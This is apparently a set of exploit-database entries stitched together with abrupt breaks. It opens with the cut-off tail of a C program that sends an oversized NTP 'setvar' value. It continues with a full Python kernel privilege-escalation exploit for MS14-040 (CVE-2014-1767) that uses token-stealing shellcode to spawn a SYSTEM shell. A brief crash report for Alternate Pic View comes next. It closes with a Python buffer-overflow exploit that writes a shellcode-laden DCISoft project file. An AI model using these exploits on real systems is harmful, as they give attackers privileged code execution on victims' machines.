  memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);  

  /*Initialize size variable to be used later on*/
  addr_size = sizeof serverAddr;




  cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

  res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
		      &rstatus, &rsize, &rdata);

  sleep(5);
  cfgcmd = "A";

  res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd, 
                       &rstatus, &rsize, &rdata);


}

/*
 * sendrequest - format and send a request packet
 */
int
sendrequest(
	int opcode,
	int associd,
	int auth,
	int qsize,
	char *qdata
	)
{
	struct ntp_control qpkt;
	int	pktsize;
	u_long	key_id;
	char *	pass;
	int	maclen;

	/*
	 * Check to make sure the data will fit in one packet
	 */
	if (qsize > CTL_MAX_DATA_LEN) {
		fprintf(stderr,
			"***Internal error!  qsize (%d) too large\n",
			qsize);
		return 1;
	}

	/*
	 * Fill in the packet
	 */
	qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
	qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
	qpkt.sequence = htons(sequence);
	qpkt.status = 0;
	qpkt.associd = htons((u_short)associd);
	qpkt.offset = 0;
	qpkt.count = htons((u_short)qsize);

	pktsize = CTL_HEADER_LEN;

	/*
	 * If we have data, copy and pad it out to a 32-bit boundary.
	 */
	if (qsize > 0) {
		memcpy(qpkt.data, qdata, (size_t)qsize);
		pktsize += qsize;
		while (pktsize & (sizeof(uint32_t) - 1)) {
			qpkt.data[qsize++] = 0;
			pktsize++;
		}
	}

	/*
	 * If it isn't authenticated we can just send it.  Otherwise
	 * we're going to have to think about it a little.
	 */
	if (!auth && !always_auth) {
		return sendpkt(&qpkt, pktsize);
	} 

	/*
	 * Pad out packet to a multiple of 8 octets to be sure
	 * receiver can handle it.
	 */
	while (pktsize & 7) {
		qpkt.data[qsize++] = 0;
		pktsize++;
	}

	/*
	 * Get the keyid and the password if we don't have one.
	 */
	if (info_auth_keyid == 0) {
		key_id = getkeyid("Keyid: ");
		if (key_id == 0 || key_id > NTP_MAXKEY) {
			fprintf(stderr, 
				"Invalid key identifier\n");
			return 1;
		}
		info_auth_keyid = key_id;
	}
	if (!authistrusted(info_auth_keyid)) {
		pass = getpass_keytype(info_auth_keytype);
		if ('\0' == pass[0]) {
			fprintf(stderr, "Invalid password\n");
			return 1;
		}
		authusekey(info_auth_keyid, info_auth_keytype,
			   (u_char *)pass);
		authtrust(info_auth_keyid, 1);
	}

	/*
	 * Do the encryption.
	 */
	maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
	if (!maclen) {  
		fprintf(stderr, "Key not found\n");
		return 1;
	} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
		fprintf(stderr,
			"%d octet MAC, %lu expected with %lu octet digest\n",
			maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
			(u_long)info_auth_hashlen);
		return 1;
	}
	
	return sendpkt((char *)&qpkt, pktsize + maclen);
}
            
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
#  	     afd.sys - 6.1.7600.16385
#            ntdll.dll - 6.1.7600.16385 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# 	http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#	http://ricklarabee.blogspot.com/
#	https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# 	https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#	http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook



from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)

FakeObjSize = 0xA0

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48

    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None


def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
   
    inbuf1  = "\x00" * 0x18 + struct.pack("L", virtualAddress)    #0x1a
    inbuf1 += struct.pack("L", length)            #0x20
    inbuf1 += "\x00" * 0x8 + "\x01"   
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))


def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)   
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))

def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x01\x00\x00\x00\x01\x00\x00\x00"
        "\x00\x00\x00\x00\x16\x00\x08\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00")


    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
   
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)

print "[+] got sock 0x%x" % sock

addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)

connect(sock, byref(addr), sizeof(addr))

print "[+] sock connected."
print "\n[+] GO!"

(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN    = "\xf8"
    _UPID     = "\xb4"
    _APLINKS  = "\xb8"   

print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

IoStatus = c_ulong()
IoStatusBlock = c_ulong()

CreateBuffer1()
CreateBuffer2()
CreateFakeObject()

inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100


# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)

CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))

ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))

shellcode_address   = 0x00020700
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4

_WFValue = struct.pack("L", hWFaddr)

sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs =  "\x31\xc0" + \
                "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                "\xa3" + struct.pack("L", HalDispatchTable0x4)   
   
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"  

fixobjheaders = "\x33\xC0"                                +\
                "\x64\x8B\x80\x24\x01\x00\x00"            +\
                "\x8B\x40\x50"                            +\
                "\x8B\x80\xF4\x00\x00\x00"                +\
                "\x8B\xD8"                                +\
                "\x8B\x00"                                +\
                "\x8B\x0D" + _WFValue                    +\
                "\x83\xE1\xFC"                            +\
                "\x03\xC9"                                +\
                "\x03\xC1"                                +\
                "\xC7\x00\x00\x00\x00\x00"                +\
                "\x83\xC3\x30"                            +\
                "\x8B\xC3"                                +\
                "\x8B\x1B"                                +\
                "\x83\xEB\x01"                            +\
                "\x89\x18"                                +\
                "\x5B"                                    +\
                "\x5A"                                    +\
                "\xC2\x10\x00"

               
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))


### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)

ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)

ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;

inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")
            
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
# Date: 14-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: http://www.alternate-tools.com
<https://potplayer.daum.net/>
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
# Version: 2.150
# Tested on: Windows XP Sp3,Windows 7
# CVE : unknown at the moment

#============================================================================================
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
edi=003b0000
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
#===========================================================================================

Alternate Pic Viewer crashes on a faulty PGM image file .

Faulty PGM file is attached as POC

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/
            
#!/usr/bin/env python
#
#
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
#
#
# Vendor: Delta Electronics, Inc.
# Product web page: http://www.delta.com.tw
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
# Affected version: 1.12.09 (Build 12102014)
#
# Summary: DCISoft is a integrated configuration tool of Delta
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
# DVPSCM52-SL) for WINDOWS operation system.
#
# Desc: The vulnerability is caused due to a boundary error in
# the processing of a project file, which can be exploited to
# cause a stack based buffer overflow when a user opens e.g. a
# specially crafted .DCI file. Successful exploitation allows
# execution of arbitrary code on the affected machine.
#
# ----------------------------------------------------------------------------
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0         nv up ei pl nz na po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
# MFC42!Ordinal2740+0x88:
# 73d34b64 8b01            mov     eax,dword ptr [ecx]  ds:002b:44444444=????????
# 0:000> d esp
# 0018cdd8  1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00  ......G.........
# 0018cde8  5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88  \........YA.....
# 0018cdf8  5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00  \........8A.....
# 0018ce08  c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02  ..t...|.......t.
# 0018ce18  04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44  ....DDDDDDDDDDDD
# 0018ce28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 0018ce38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 0018ce48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# --
# (11bc.1394): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL - 
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0         nv up ei pl nz ac pe cy
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210217
# 43434343 ??              ???
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5305
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
#
#
# 13.11.2015
#


sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
      "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
      "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"
      "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"
      "\x49\x0b\x31\xc0\x51\x50\xff\xd7")

buffer = "\x41" * 156          # align
buffer += "\x3c\xce\x18\x00"   # eip - jmp esp+49h
buffer += "\x90" * 15          # nopsled
buffer += sc                   # 113 bytes messagebox shellcode
buffer += "\x44" * 7926        # extra shellcode space
buffer += "\xec\xcd\x18\x00"   # overwrite data segment to control eip - mov eax,dword ptr [ecx]
buffer += "\x45" * 2203        # padding to fix 10421 bytes

f = open ("Detachment.dci", "w")
f.write(buffer)
f.close()
print "File Detachment.dci successfully created!\n"